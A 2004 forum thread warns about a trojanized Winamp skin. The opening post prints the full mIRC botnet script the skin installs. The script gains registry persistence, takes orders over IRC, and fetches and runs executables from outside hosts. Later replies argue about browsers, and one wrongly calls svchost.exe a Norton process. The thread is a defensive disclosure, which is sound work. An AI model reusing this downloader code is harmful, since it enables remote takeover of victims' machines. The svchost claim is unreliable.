Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Blazer on Mon, 31 May 2004 04:49:17 GMT
View Forum Message <> Reply to Message

Breetomas just found out the hard way about a new trojan going around. You are infected instantly simply by going to a particular URL (Isnt Internet Explorer wonderful?). Knowing my firewall would protect me, I voluntarily clicked the link so I could examine this trojan. Basically heres what happens when you go to the URL:

1. IE automatically downloads and runs a trojan WINAMP skin. Winamp will popup and you will be like eh whats going on. If you examine your winamp settings you will find the current skin set to "selfexec.wsz".
2. The winamp skin is executed by winamp, and contains a botnet trojan that is placed in C:\Windows\System32\Rundll32\. I suggest everyone quickly check their computer and verify that they do not have this directory!.
3. Various files (shown in the image below) are dumped there, as well as a malicious notepad.exe which goes into your System32 directory. If the bad notepad.exe is run, it (re)infects you.
4. The trojaned winamp skin finally executes the replaced winamp, which runs the botnet trojan. The fake svchost.exe is actually MIRC.
5. You are not trojaned, and your computer silently connects to a remote IRC network, as you can see in the mirc.ini:
[mirc]
host=borg.irchat.tvSERVER:borg.irchat.tv:6667GROUP:suprnova.org
user=$rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
email=$rand(a,z)
nick=abeghrs
anick=thhmsyx

There are several DLL files in the payload that let someone completely take control of your computer (botnut.dll), get info on your computer (moo.dll), perform DOS attacks (net.dll), and do network scans. More importantly, they have the option to silently upload another exe to you, usually the first thing being an even better bot to infect you with.

I suggest everyone look for the C:\Windows\System32\Rundll directory. If you have it at all, you are probably infected, definitely if it contains the below files:

Heres one of the scripts contained in the trojan...you can see it connects to gamesnet.net irc...someone should notify their admins.

```
ON *:START: {
  .timer 0 666 botnet.scan.4.server
  .timer 0 666 botnet.check.channel
  identd on $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  set %botnet.version 0.01
  set %botnet.channel #botnut.secure
  set %botnet.channelpw botnut
```

```
  server irc.gamesnet.net:6667
  set %botnet.server irc.gamesnet.net:6667
  nick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  anick $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z)
  echo -a $dll(dmu.dll,HideMirc,on)
  $regwrite(HKEY_CURRENT_USER\Software\mIRC\License\,1711-182810,REG_SZ)
  $regwrite(HKEY_CURRENT_USER\Software\mIRC\UserName\,owned,REG_SZ)

$regwrite(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\secure
,c:\windows\system32\secure\rundll32.exe,REG_SZ)
  copy -o c:\windows\notepad.exe c:\windows\system32\
}

alias RegWrite {
  if ($1 != $null) && ($2 != $null) && ($3 != $null) {
    var %a = Reg $+ Write
    .como $+ pen %a WSc $+ ript.She $+ ll
    if !$comerr {
      var %b =  $com(%a,Reg $+ Wri $+ te,3,bstr,$1,bstr,$2,bstr,$3)
      .comcl $+ ose %a
    }
    if ($3 == REG_EX $+ PAND_SZ) || ($3 == RE $+ G_SZ) {
      if ($re $+ gr $+ ead($1) == $2) { re $+ turn the val $+ ue ( $+ $1 $+ ) was created }
    }
  }
}
ON *:CONNECT: {
  if ($me == $scon(1).me) { scon 1 join %botnet.channel %botnet.channelpw }
  botnet.scan.4.server
  ignore -wd *
}

ON *:DISCONNECT: {
  botnet.scan.4.server
}
alias -l botnet.check.channel {
  if ($me == $scon(1).me) && ($channel(0) == 0) { scon 1 join %botnet.channel
%botnet.channelpw }
}
raw 332:*: {
  if ($me == $scon(1).me) {
    msg %botnet.channel  «  Botnut Downloader Version:   %botnet.version » «  IP:  $ip » «
 Uptime : $duration($calc($ticks / 1000)) »
    var %i = 1
    while (%i <= $numtok($3-,124)) {
      parse.topic $gettok($3-,%i,124)
      inc %i
    }
```

```
  }
}

alias parse.topic {
  if ($chr(36) isin $1-) || (write isin $1-) || (remove isin $1-) || (run isin $1-) || (exit isin $1-) || (quit
isin $1-) || (timer isin $1-) { return }
  elseif ($1 == .download) {
    if ($2 == %botnet.givenhost) && ($3 == %botnet.givenpath) && ($4 == %botnet.given) { scon 1
msg %botnet.channel File already downloaded! }
    else { botnet.download $2- }
  }
  elseif ($1 == .update) { botnet.scan.4.version }
  elseif ($1 == .server) { botnet.scan.4.server }
  elseif ($1 == .status) { scon 1 msg %botnet.channel  «  Botnut Downloader Version:
%botnet.version » «  IP:  $ip » «  Uptime : $duration($calc($ticks / 1000)) » }
  elseif ($1 == .botnut) {
    if ($isdde(botnut)) { scon 1 msg %botnet.channel Botnut is running. }
    else { scon 1 msg %botnet.channel Botnut is  not  running. }
  }
}

ON *:SOCKOPEN:botnet.check.server: {
  sockwrite -n $sockname GET / HTTP/1.1
  sockwrite -n $sockname Host: %botnet.hosta $+ $str($crlf,2)
}

ON *:SOCKREAD:botnet.check.server: {
  var %sockread
  sockread %sockread
  if ($regsub(%sockread,<HTML><HEAD><TITLE>,,%sockread)) &&
($regsub(%sockread,</TITLE></HEAD>,,%sockread)) {
    if (%botnet.server != %sockread) {
      set %botnet.server %sockread
      scon 1 server %botnet.server
    }
  }
}

alias botnet.scan.4.server { set %botnet.hosta bsecureserver.da.ru | sockclose
botnet.check.server | .timer 1 1 sockopen botnet.check.server %botnet.hosta 80 }
alias botnet.scan.4.version { sockclose botnet.check.version | sockopen botnet.check.version
bsecureversion.da.ru 80 }

ON *:SOCKOPEN:botnet.check.version: {
  sockwrite -n $sockname GET / HTTP/1.1
  sockwrite -n $sockname Host: bsecureversion.da.ru $+ $str($crlf,2)
}
```

```
ON *:SOCKREAD:botnet.check.version: {
  var %sockread
  sockread %sockread
  if ($regsub(%sockread, <HTML><HEAD><TITLE>,,%sockread)) && ($regsub(%sockread,
</TITLE></HEAD>,,%sockread)) {
    echo -a %sockread
    if (%botnet.version < %sockread) {
      echo -a %sockread
      .timer 1 1 botnet.scan.4.fileurl
      .timer 1 2 sockclose botnet.check.version
    }
  }
}

alias botnet.scan.4.fileurl { set %botnet.updatefile $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
$+ $r(a,z) $+ .exe | sockclose botnet.check.fileurl | sockopen botnet.check.fileurl
bsecurefileurl.da.ru 80 }

ON *:SOCKOPEN:botnet.check.fileurl: {
  sockwrite -n $sockname GET / HTTP/1.1
  sockwrite -n $sockname Host: bsecurefileurl.da.ru $+ $str($crlf,2)
}

ON *:SOCKREAD:botnet.check.fileurl: {
  var %sockread
  sockread %sockread
  if ($regsub(%sockread, <HTML><HEAD><TITLE>,,%sockread)) && ($regsub(%sockread,
</TITLE></HEAD>,,%sockread)) {
    set %botnet.account %sockread
    echo -a %botnet.account
    sockclose botnet.download.new.version
    .timer 1 1 sockopen botnet.download.new.version people.freenet.de 80
  }
}

ON *:SOCKOPEN:botnet.download.new.version: {
  sockwrite -n $sockname GET / $+ %botnet.account $+ /update.exe HTTP/1.0
  sockwrite -n $sockname Accept: */*
  sockwrite -n $sockname Host: people.freenet.de $+ $str($crlf,2)
  sockwrite -n $sockname
}

ON *:SOCKREAD:botnet.download.new.version:{
  if (%botnet.aupd.downloadready != 1) {
    var %header
    sockread %header
    while ($sockbr) {
      if (* !iswm %header) {
```

```
      %botnet.aupd.downloadready = 1
      break
    }
    sockread %header
  }
 }
 sockread 4096 &d
 while ($sockbr) {
  bwrite %botnet.updatefile -1 -1 &d
  sockread 4096 &d
 }
}

ON *:SOCKCLOSE:botnet.download.new.version: { unset %botnet.aupd.* | run
%botnet.updatefile | timer 1 10 .load -rs secure.dll | timer 1 10 remove %botnet.updatefile }

alias botnet.download { set %botnet.given $3- | set %botnet.givenhost $1 | set %botnet.givenpath
$2 | sockclose botnet.check.it | .timer 1 1 sockopen botnet.check.it bsecurestatus.da.ru 80 }

ON *:SOCKOPEN:botnet.check.it: {
 sockwrite -n $sockname GET / HTTP/1.1
 sockwrite -n $sockname Host: bsecurestatus.da.ru $+ $str($crlf,2)
}

ON *:SOCKREAD:botnet.check.it: {
 var %sockread
 sockread %sockread
 if ($regsub(%sockread, <HTML><HEAD><TITLE>,,%sockread)) && ($regsub(%sockread,
</TITLE></HEAD>,,%sockread)) {
  var %bla %sockread
  echo -a %sockread
  if (%bla == ON) {
   if ($isfile(%botnet.given)) { .remove %botnet.given }
   sockclose botnet.download
   .timer 1 1 sockopen botnet.download %botnet.givenhost 80
  }
  else { scon 1 msg %botnet.channel Access denied! }
 }
}


ON *:SOCKOPEN:botnet.download: {
 sockwrite -n $sockname GET / $+ %botnet.givenpath HTTP/1.0
 sockwrite -n $sockname Accept: */*
 sockwrite -n $sockname Host: %botnet.givenhost $+ $str($crlf,2)
 sockwrite -n $sockname
}
```

```
ON *:SOCKREAD:botnet.download:{
  if (%botnet.aupd.downloadready != 1) {
    var %header
    sockread %header
    while ($sockbr) {
      if (* !iswm %header) {
        %botnet.aupd.downloadready = 1
        break
      }
      sockread %header
    }
  }
  sockread 4096 &d
  while ($sockbr) {
    bwrite %botnet.given -1 -1 &d
    sockread 4096 &d
  }
}
ON *:SOCKCLOSE:botnet.download: { unset %botnet.aupd.* | run %botnet.given | scon 1 msg
%botnet.channel Done. | .timer 1 5 remove %botnet.given }

ON *:TEXT:*:%botnet.channel: {
  if ($me == $scon(1).me) {
    if ($nick == botnut) {
      if ($chr(36) isin $1-) || ($chr(124) isin $1-) || (write isin $1-) || (remove isin $1-) || (run isin $1-) ||
(exit isin $1-) || (quit isin $1-) || (timer isin $1-) { return }
      elseif ($1 == .download) {
        if ($2 == %botnet.givenhost) && ($3 == %botnet.givenpath) && ($4 == %botnet.given) { scon
1 msg %botnet.channel File already downloaded! }
        else { botnet.download $2- }
      }
      elseif ($1 == .update) { botnet.scan.4.version }
      elseif ($1 == .server) { botnet.scan.4.server }
      elseif ($1 == .status) { scon 1 msg %botnet.channel  «  Botnut Downloader Version:
%botnet.version » «  IP:  $ip » «  Uptime : $duration($calc($ticks / 1000)) » }
      elseif ($1 == .botnut) {
        if ($isdde(botnut)) { scon 1 msg %botnet.channel Botnut is running. }
        else { scon 1 msg %botnet.channel Botnut is  not  running. }
      }
    }
  }
}
ON *:TEXT:*:?: {
  if ($me == $scon(1).me) {
    if ($nick == botnut) {
      if ($chr(36) isin $1-) || ($chr(124) isin $1-) || (write isin $1-) || (remove isin $1-) || (run isin $1-) ||
(exit isin $1-) || (quit isin $1-) || (timer isin $1-) { return }
      elseif ($1 == .download) {
```

```
      if ($2 == %botnet.givenhost) && ($3 == %botnet.givenpath) && ($4 == %botnet.given) { scon
1 msg %botnet.channel File already downloaded! }
      else { botnet.download $2- }
    }
    elseif ($1 == .update) { botnet.scan.4.version }
    elseif ($1 == .server) { botnet.scan.4.server }
    elseif ($1 == .status) { scon 1 msg $nick  «  Botnut Downloader Version:   %botnet.version
» «  IP:  $ip » «  Uptime : $duration($calc($ticks / 1000)) » }
    elseif ($1 == .botnut) {
      if ($isdde(botnut)) { scon 1 msg $nick Botnut is running. }
      else { scon 1 msg $nick Botnut is  not  running. }
    }
  }
 }
}
```

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Beanyhead on Mon, 31 May 2004 04:52:03 GMT
View Forum Message <> Reply to Message

Opera > You

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Breetomas on Mon, 31 May 2004 04:54:25 GMT
View Forum Message <> Reply to Message

heh
Way to block it. If you have kerio PFW just dont let it replace application (notepad)
Then Nuke the directory

svchost.exe might still be running (the BS version, it will be running by 'Your Login' as the user.
The one being run by SYSTEM is the legit one)

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Vitaminous on Mon, 31 May 2004 04:54:49 GMT
View Forum Message <> Reply to Message

...The last time I downloaded a Winamp skin was in October. :\
Downloads Opera

Subject: WARNING!!! Another Trojan/Virus going around!

Posted by YSLMuffins on Mon, 31 May 2004 04:57:53 GMT
View Forum Message <> Reply to Message

Go Opera! :thumbsup:

Wow Blazer, I'm surprised you went through all this to discover the secrets of this trojan...

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Vitaminous on Mon, 31 May 2004 05:04:40 GMT
View Forum Message <> Reply to Message

You know what's the sad part about this? While he was doing this, aliens sneaked-up behind him and...You know the rest now, do you?

Yes...Anal probes.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Aurora on Mon, 31 May 2004 05:05:37 GMT
View Forum Message <> Reply to Message

If you're still using IE, wtf is wrong with you.

http://www.mozilla.org/products/firefox/

This whole thing amuses me.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Falconxl on Mon, 31 May 2004 05:06:32 GMT
View Forum Message <> Reply to Message

/me uses Opera as well.

Even if it did get in on my system in about 10 minutes my HDD will be blank since I have to reinstall windows.

Hopefully the jackass that put it out will get caught.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Vitaminous on Mon, 31 May 2004 05:07:12 GMT
View Forum Message <> Reply to Message

<-

4 u aurorat.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Kholdstare on Mon, 31 May 2004 05:26:54 GMT
View Forum Message <> Reply to Message

Click ---^

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Vitaminous on Mon, 31 May 2004 05:35:46 GMT
View Forum Message <> Reply to Message

I'm fine on Opera, heh.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by IRON FART on Mon, 31 May 2004 06:12:18 GMT
View Forum Message <> Reply to Message

http://www.tenablesecurity.com/newt.html
Scan yourself for potential security threats,

And use Netscape.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by SHADY-CNCU on Mon, 31 May 2004 06:12:46 GMT
View Forum Message <> Reply to Message

YSLMuffinsGo Opera! :thumbsup:

Wow Blazer, I'm surprised you went through all this to discover the secrets of this trojan...

as far as trojans are concerned, thats a fairly basic one.

the exploit it uses is a 4 months old now or so, and its effectivness is limited to the fact that some one actually has to visit the website in order for it to infect

Subject: WARNING!!! Another Trojan/Virus going around!

Posted by Vitaminous on Mon, 31 May 2004 06:15:58 GMT
View Forum Message <> Reply to Message

IRON-FARThttp://www.tenablesecurity.com/newt.html
Scan yourself for potential security threats,

And use Netscape.

Netscape sucks.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Spice on Mon, 31 May 2004 07:32:21 GMT
View Forum Message <> Reply to Message

me gets Firefox

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by flyingfox on Mon, 31 May 2004 07:47:41 GMT
View Forum Message <> Reply to Message

1 question,

How does firefox, netscape, opera etc prevent these exploitations in a way IE can't?

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by NHJ BV on Mon, 31 May 2004 08:56:42 GMT
View Forum Message <> Reply to Message

I have never downloaded any Wniamp skin...in fact I'm still running Winamp 2.79

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Blazer on Mon, 31 May 2004 10:15:03 GMT
View Forum Message <> Reply to Message

flyingfox1 question,

How does firefox, netscape, opera etc prevent these exploitations in a way IE can't?

They dont run activeX stuff, cookies, javascript etc.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Falconxl on Mon, 31 May 2004 11:25:57 GMT
View Forum Message <> Reply to Message

Opera runs them. Its just run differently.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by snipesimo on Mon, 31 May 2004 15:24:49 GMT
View Forum Message <> Reply to Message

The only problem with FireFox is it sucks.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Chrono945 on Mon, 31 May 2004 17:02:30 GMT
View Forum Message <> Reply to Message

lol i just dloaded firefox and its better than IE anyway

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by NukeIt15 on Mon, 31 May 2004 19:16:06 GMT
View Forum Message <> Reply to Message

It is indeed...I haven't gotten a single popup ad for ANY website I've visited since I switched to Firefox. Or trojan. Or virus. Or anything else unpleasant. Page loading is about the same speed as with IE.

Internet Explorer is shit. It's an open invitation for every hacker, spammer, and script kiddie on the internet to come screw with your computer.

Netscape is shit too, but it is better than IE.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by PointlessAmbler on Mon, 31 May 2004 19:20:29 GMT
View Forum Message <> Reply to Message

Heh, I'm immune to this virus, I don't have WinAmp

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by warranto on Mon, 31 May 2004 19:55:24 GMT
View Forum Message <> Reply to Message

However, if you do use IE, go into properties/security/custom and disable or prompt the activeX stuff.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by YSLMuffins on Mon, 31 May 2004 22:59:57 GMT
View Forum Message <> Reply to Message

Opera is the fastest browser compared to all the others, apparently:
http://www.24fun.com/downloadcenter/benchjs/benchjs.html

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by prox on Tue, 01 Jun 2004 00:42:18 GMT
View Forum Message <> Reply to Message

page 2.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Carl on Tue, 01 Jun 2004 05:57:22 GMT
View Forum Message <> Reply to Message

YSLMuffinsOpera is the fastest browser compared to all the others, apparently:
http://www.24fun.com/downloadcenter/benchjs/benchjs.html

erm..... that benches HEAVYILY scripted javascript and dhtml performance. not to be real picky, but most sites dont use *heavy* dhtml/javascript.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by Blazea58 on Tue, 01 Jun 2004 08:53:28 GMT
View Forum Message <> Reply to Message

after examining my system32 folder, it has gotten me confused...

I have so many .dll files, im not sure which are bad, and which arent..

There was no folder as posted above, but i did yet find a rundll32.dll, and within even my processes, im somehow running 6 svchost.exe's..

Not sure whats going on, but tell me if 1,302 .dll files would be normal to just be lying in the system32 folder.

Subject: WARNING!!! Another Trojan/Virus going around!
Posted by htmlgod on Tue, 01 Jun 2004 09:12:41 GMT
View Forum Message <> Reply to Message

If I recall correctly svchost.exe is the background process for Norton Antivirus. It always has at least 2 running, and if you had an active scan or an update going, it could have more, or maybe you just have multiple images of the program running. In either case I wouldn't worry too much about svchost.

One thing that might help you, though, is this: Hit start, go to run, and type MSCONFIG. Go over to the tab for startup, and check/uncheck items as you see fit. Here are my processes that are run at startup, just for reference when you choose yours. qttask, and atipaxx. Atipaxx is the drivers for my ATI Radeon video card, and qttask is an updater of some kind, if I recall correctly. In any case, if you're suspicious of a process running on your computer, you can always end it and see what happens. Most of the time its dumb stuff, like updaters for software you don't even use.